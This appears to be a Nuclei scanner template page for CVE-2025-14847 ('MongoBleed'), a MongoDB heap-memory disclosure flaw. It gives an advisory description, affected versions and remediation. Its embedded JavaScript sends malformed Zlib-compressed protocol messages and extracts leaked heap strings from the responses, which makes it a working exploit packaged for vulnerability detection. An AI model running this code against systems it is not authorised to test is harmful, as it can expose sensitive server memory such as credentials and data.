MongoDB Server - Information Disclosure (MongoBleed)
CVE-2025-14847
Early Release
Description
Mismatched length fields in Zlib compressed protocol headers may allow a read of uninitialized heap memory by an unauthenticated client. This issue affects all MongoDB Server v7.0 prior to 7.0.28 versions, MongoDB Server v8.0 versions prior to 8.0.17, MongoDB Server v8.2 versions prior to 8.2.3, MongoDB Server v6.0 versions prior to 6.0.27, MongoDB Server v5.0 versions prior to 5.0.32, MongoDB Server v4.4 versions prior to 4.4.30, MongoDB Server v4.2 versions greater than or equal to 4.2.0, MongoDB Server v4.0 versions greater than or equal to 4.0.0, and MongoDB Server v3.6 versions greater than or equal to 3.6.0.
Severity
High
Published Date
December 27, 2025
Template Author
pussycat0x, joe-desimone, dhiyaneshdk
CVE-2025-14847.yaml
id: CVE-2025-14847
info:
name: MongoDB Server - Information Disclosure (MongoBleed)
author: pussycat0x,joe-desimone,DhiyaneshDK
severity: high
description: |
Mismatched length fields in Zlib compressed protocol headers may allow a read of uninitialized heap memory by an unauthenticated client. This issue affects all MongoDB Server v7.0 prior to 7.0.28 versions, MongoDB Server v8.0 versions prior to 8.0.17, MongoDB Server v8.2 versions prior to 8.2.3, MongoDB Server v6.0 versions prior to 6.0.27, MongoDB Server v5.0 versions prior to 5.0.32, MongoDB Server v4.4 versions prior to 4.4.30, MongoDB Server v4.2 versions greater than or equal to 4.2.0, MongoDB Server v4.0 versions greater than or equal to 4.0.0, and MongoDB Server v3.6 versions greater than or equal to 3.6.0.
impact: |
Unauthenticated clients can read uninitialized heap memory, potentially exposing sensitive information.
remediation: |
Update to versions 7.0.28, 8.0.17, 8.2.3, 6.0.27, 5.0.32, 4.4.30 or later.
reference:
- https://jira.mongodb.org/browse/SERVER-115508
- https://github.com/joe-desimone/mongobleed
metadata:
verified: true
max-request: 1
tags: cve,cve2025,mongodb,memory-leak,network,js,mongobleed,kev,vkev
flow: javascript(1) || tcp(1)
javascript:
- pre-condition: |
isPortOpen(Host,Port);
code: |
const net = require('nuclei/net');
function uint32ToHexLE(value) {
const bytes = [
(value & 0xFF).toString(16).padStart(2, '0'),
((value >> 8) & 0xFF).toString(16).padStart(2, '0'),
((value >> 16) & 0xFF).toString(16).padStart(2, '0'),
((value >> 24) & 0xFF).toString(16).padStart(2, '0')
];
return bytes.join('');
}
function int32ToHexLE(value) {
const unsigned = value >>> 0;
return uint32ToHexLE(unsigned);
}
const staticCompressed = "789c6360000211201648646004520003a60087";
function stringToBytes(str) {
const bytes = [];
for (let i = 0; i < str.length; i++) {
bytes.push(str.charCodeAt(i));
}
return bytes;
}
function findBytePattern(bytes, pattern) {
if (pattern.length === 0 || bytes.length < pattern.length) {
return -1;
}
for (let i = 0; i <= bytes.length - pattern.length; i++) {
let match = true;
for (let j = 0; j < pattern.length; j++) {
if (bytes[i + j] !== pattern[j]) {
match = false;
break;
}
}
if (match) {
return i;
}
}
return -1;
}
function extractStringFromBytes(bytes, start, maxLen) {
let str = "";
for (let i = start; i < Math.min(start + maxLen, bytes.length); i++) {
if (bytes[i] === 0) break;
if (bytes[i] >= 32 && bytes[i] < 127) {
str += String.fromCharCode(bytes[i]);
} else {
break;
}
}
return str;
}
function extractLeaks(responseBytes) {
if (!responseBytes || responseBytes.length < 16) {
return [];
}
const leaks = [];
let raw = [];
try {
const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24);
const opcode = responseBytes[12] | (responseBytes[13] << 8) | (responseBytes[14] << 16) | (responseBytes[15] << 24);
if (opcode === 0) {
raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length));
} else if (opcode === 2012) {
raw = responseBytes.slice(25, Math.min(msgLen, responseBytes.length));
} else {
raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length));
}
} catch (e) {
raw = responseBytes.length > 16 ? responseBytes.slice(16) : [];
}
if (raw.length === 0) {
return leaks;
}
const fieldNamePattern = stringToBytes("field name '");
let searchPos = 0;
while (true) {
const pos = findBytePattern(raw.slice(searchPos), fieldNamePattern);
if (pos === -1) break;
const actualPos = searchPos + pos + fieldNamePattern.length;
let fieldName = "";
for (let i = actualPos; i < raw.length && i < actualPos + 200; i++) {
if (raw[i] === 39) {
break;
}
if (raw[i] >= 32 && raw[i] < 127) {
fieldName += String.fromCharCode(raw[i]);
} else {
break;
}
}
if (fieldName && fieldName !== '?' && fieldName !== 'a' && fieldName !== '$db' && fieldName !== 'ping') {
leaks.push(fieldName);
}
searchPos = actualPos + 1;
if (searchPos >= raw.length) break;
}
const typePattern = stringToBytes("type ");
searchPos = 0;
while (true) {
const pos = findBytePattern(raw.slice(searchPos), typePattern);
if (pos === -1) break;
const actualPos = searchPos + pos + typePattern.length;
let numStr = "";
for (let i = actualPos; i < raw.length && i < actualPos + 10; i++) {
if (raw[i] >= 48 && raw[i] <= 57) {
numStr += String.fromCharCode(raw[i]);
} else {
break;
}
}
if (numStr) {
const typeByte = parseInt(numStr) & 0xFF;
leaks.push(String.fromCharCode(typeByte));
}
searchPos = actualPos + 1;
if (searchPos >= raw.length) break;
}
const invalidBSONPattern = stringToBytes("InvalidBSON");
const bsonLengthPattern = stringToBytes("bson length");
const hasInvalidBSON = findBytePattern(raw, invalidBSONPattern) !== -1;
const hasBsonLength = findBytePattern(raw, bsonLengthPattern) !== -1;
let printableSeq = "";
for (let i = 0; i < raw.length; i++) {
if (raw[i] >= 32 && raw[i] < 127) {
printableSeq += String.fromCharCode(raw[i]);
} else {
if (printableSeq.length >= 10) {
const lower = printableSeq.toLowerCase();
if (lower.indexOf('field name') === -1 && lower.indexOf('invalid') === -1 &&
lower.indexOf('bson') === -1 && lower.indexOf('unrecognized') === -1 &&
lower.indexOf('type ') === -1 && lower !== 'ok' && lower !== 'errmsg') {
leaks.push(printableSeq);
}
}
printableSeq = "";
}
}
if (printableSeq.length >= 10) {
const lower = printableSeq.toLowerCase();
if (lower.indexOf('field name') === -1 && lower.indexOf('invalid') === -1 &&
lower.indexOf('bson') === -1 && lower.indexOf('unrecognized') === -1 &&
lower.indexOf('type ') === -1 && lower !== 'ok' && lower !== 'errmsg') {
leaks.push(printableSeq);
}
}
if (hasInvalidBSON || hasBsonLength) {
let currentStr = "";
for (let i = 0; i < raw.length; i++) {
const byte = raw[i];
if ((byte >= 48 && byte <= 57) || (byte >= 65 && byte <= 90) || (byte >= 97 && byte <= 122) || byte === 95 || byte === 45 || byte === 46) {
currentStr += String.fromCharCode(byte);
} else {
if (currentStr.length >= 10) {
const lower = currentStr.toLowerCase();
if (lower !== 'invalidbson' && lower !== 'field name' && lower !== 'unrecognized' &&
lower !== 'bson length' && lower !== 'doesn' && lower !== 'match' &&
lower !== 'what we' && lower !== 'found in' && lower !== 'object with' &&
lower !== 'unknown id') {
leaks.push(currentStr);
}
}
currentStr = "";
}
}
if (currentStr.length >= 10) {
const lower = currentStr.toLowerCase();
if (lower !== 'invalidbson' && lower !== 'field name' && lower !== 'unrecognized' &&
lower !== 'bson length' && lower !== 'doesn' && lower !== 'match' &&
lower !== 'what we' && lower !== 'found in' && lower !== 'object with' &&
lower !== 'unknown id') {
leaks.push(currentStr);
}
}
}
let hexStr = "";
for (let i = 0; i < raw.length; i++) {
hexStr += raw[i].toString(16).padStart(2, '0');
}
let hexPos = 0;
while (hexPos < hexStr.length) {
let hexMatch = "";
while (hexPos < hexStr.length && ((hexStr[hexPos] >= '0' && hexStr[hexPos] <= '9') || (hexStr[hexPos] >= 'a' && hexStr[hexPos] <= 'f'))) {
hexMatch += hexStr[hexPos];
hexPos++;
}
if (hexMatch.length >= 20) {
try {
const hexBytes = [];
for (let i = 0; i < hexMatch.length; i += 2) {
if (i + 1 < hexMatch.length) {
const byte = parseInt(hexMatch.substr(i, 2), 16);
hexBytes.push(byte);
}
}
let printableCount = 0;
for (let i = 0; i < Math.min(50, hexBytes.length); i++) {
if (hexBytes[i] >= 32 && hexBytes[i] < 127) {
printableCount++;
}
}
if (printableCount > hexBytes.length * 0.5) {
let decodedStr = "";
for (let i = 0; i < hexBytes.length; i++) {
if (hexBytes[i] >= 32 && hexBytes[i] < 127) {
decodedStr += String.fromCharCode(hexBytes[i]);
}
}
if (decodedStr.length >= 10) {
leaks.push(decodedStr);
}
}
} catch (e) {
}
}
if (hexPos < hexStr.length) {
hexPos++;
} else {
break;
}
}
return leaks;
}
const minOffset = parseInt(MinOffset) || 20;
const maxOffset = parseInt(MaxOffset) || 8192;
const allOutput = [];
let totalResponses = 0;
for (let docLen = minOffset; docLen < maxOffset; docLen++) {
const bufferSize = docLen + 500;
let payloadHex = uint32ToHexLE(2013);
payloadHex += int32ToHexLE(bufferSize);
payloadHex += "02";
payloadHex += staticCompressed;
const payloadBytes = payloadHex.length / 2;
const messageLength = 16 + payloadBytes;
let headerHex = uint32ToHexLE(messageLength);
headerHex += uint32ToHexLE(1);
headerHex += uint32ToHexLE(0);
headerHex += uint32ToHexLE(2012);
const fullMessage = headerHex + payloadHex;
try {
const conn = net.Open('tcp', `${Host}:${Port}`);
if (!conn) {
continue;
}
conn.SetTimeout(10);
conn.SendHex(fullMessage);
let responseBytes = [];
while (true) {
const chunk = conn.Recv(2048);
if (!chunk || (Array.isArray(chunk) && chunk.length === 0) || (typeof chunk === 'string' && chunk.length === 0)) {
break;
}
const chunkBytes = [];
if (Array.isArray(chunk)) {
for (let i = 0; i < chunk.length; i++) {
const byte = typeof chunk[i] === 'number' ? chunk[i] : parseInt(chunk[i]);
if (!isNaN(byte)) {
chunkBytes.push(byte);
}
}
} else if (typeof chunk === 'string') {
for (let i = 0; i < chunk.length; i++) {
chunkBytes.push(chunk.charCodeAt(i));
}
}
if (chunkBytes.length > 0) {
responseBytes = responseBytes.concat(chunkBytes);
}
if (responseBytes.length < 4) {
continue;
}
const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24);
if (responseBytes.length >= msgLen) {
break;
}
}
conn.Close();
totalResponses++;
if (responseBytes.length > 0) {
const leaks = extractLeaks(responseBytes);
let hasLeaks = false;
for (let i = 0; i < leaks.length; i++) {
const leak = leaks[i];
if (leak && leak.length > 0) {
hasLeaks = true;
break;
}
}
if (!hasLeaks && responseBytes.length > 16) {
try {
const msgLen = responseBytes[0] | (responseBytes[1] << 8) | (responseBytes[2] << 16) | (responseBytes[3] << 24);
const opcode = responseBytes[12] | (responseBytes[13] << 8) | (responseBytes[14] << 16) | (responseBytes[15] << 24);
let raw = [];
if (opcode === 2012) {
raw = responseBytes.slice(25, Math.min(msgLen, responseBytes.length));
} else {
raw = responseBytes.slice(16, Math.min(msgLen, responseBytes.length));
}
const invalidBSONPattern = stringToBytes("InvalidBSON");
const bsonLengthPattern = stringToBytes("bson length");
if (findBytePattern(raw, invalidBSONPattern) !== -1 || findBytePattern(raw, bsonLengthPattern) !== -1) {
if (raw.length > 50) {
hasLeaks = true;
}
}
} catch (e) {
}
}
if (hasLeaks) {
allOutput.push(`leak found at offset ${docLen}`);
break;
}
}
} catch (e) {
}
}
if (allOutput.length > 0) {
allOutput.join('\n')
} else {
""
}
args:
Host: "{{Host}}"
Port: 27017
MinOffset: 20
MaxOffset: 8192
extractors:
- type: dsl
dsl:
- response
tcp:
- inputs:
- data: 3b0000003c300000ffffffffd40700000000000061646d696e2e24636d640000000000ffffffff14000000106275696c64696e666f000100000000
type: hex
host:
- "{{Hostname}}"
port: 27017
read-size: 2048
matchers:
- type: word
part: raw
words:
- "version"
- "maxBsonObjectSize"
condition: and
- type: dsl
dsl:
- "compare_versions(version, '>= 8.2.0') && compare_versions(version, '<= 8.2.2')"
- "compare_versions(version, '>= 8.0.0') && compare_versions(version, '<= 8.0.16')"
- "compare_versions(version, '>= 7.0.0') && compare_versions(version, '<= 7.0.27')"
- "compare_versions(version, '>= 6.0.0') && compare_versions(version, '<= 6.0.26')"
- "compare_versions(version, '>= 5.0.0') && compare_versions(version, '<= 5.0.31')"
condition: or
extractors:
- type: regex
name: version
part: raw
group: 1
regex:
- '(?s)version.{0,50}?([0-9]+\.[0-9]+\.[0-9]+)'
# digest: 490a004630440220412cb2bb91a0877879b6a74c0dd1aaabd1aefee3b648ce30467182247438392402201399d9ece76cfa852e1a10b85fbd0e686836cba2fe8a3d91550e484521ce6875:922c64590222798bb761d5b6d8e729507.5Severity
CVSS Metrics
Remediation Steps
Update to versions 7.0.28, 8.0.17, 8.2.3, 6.0.27, 5.0.32, 4.4.30 or later.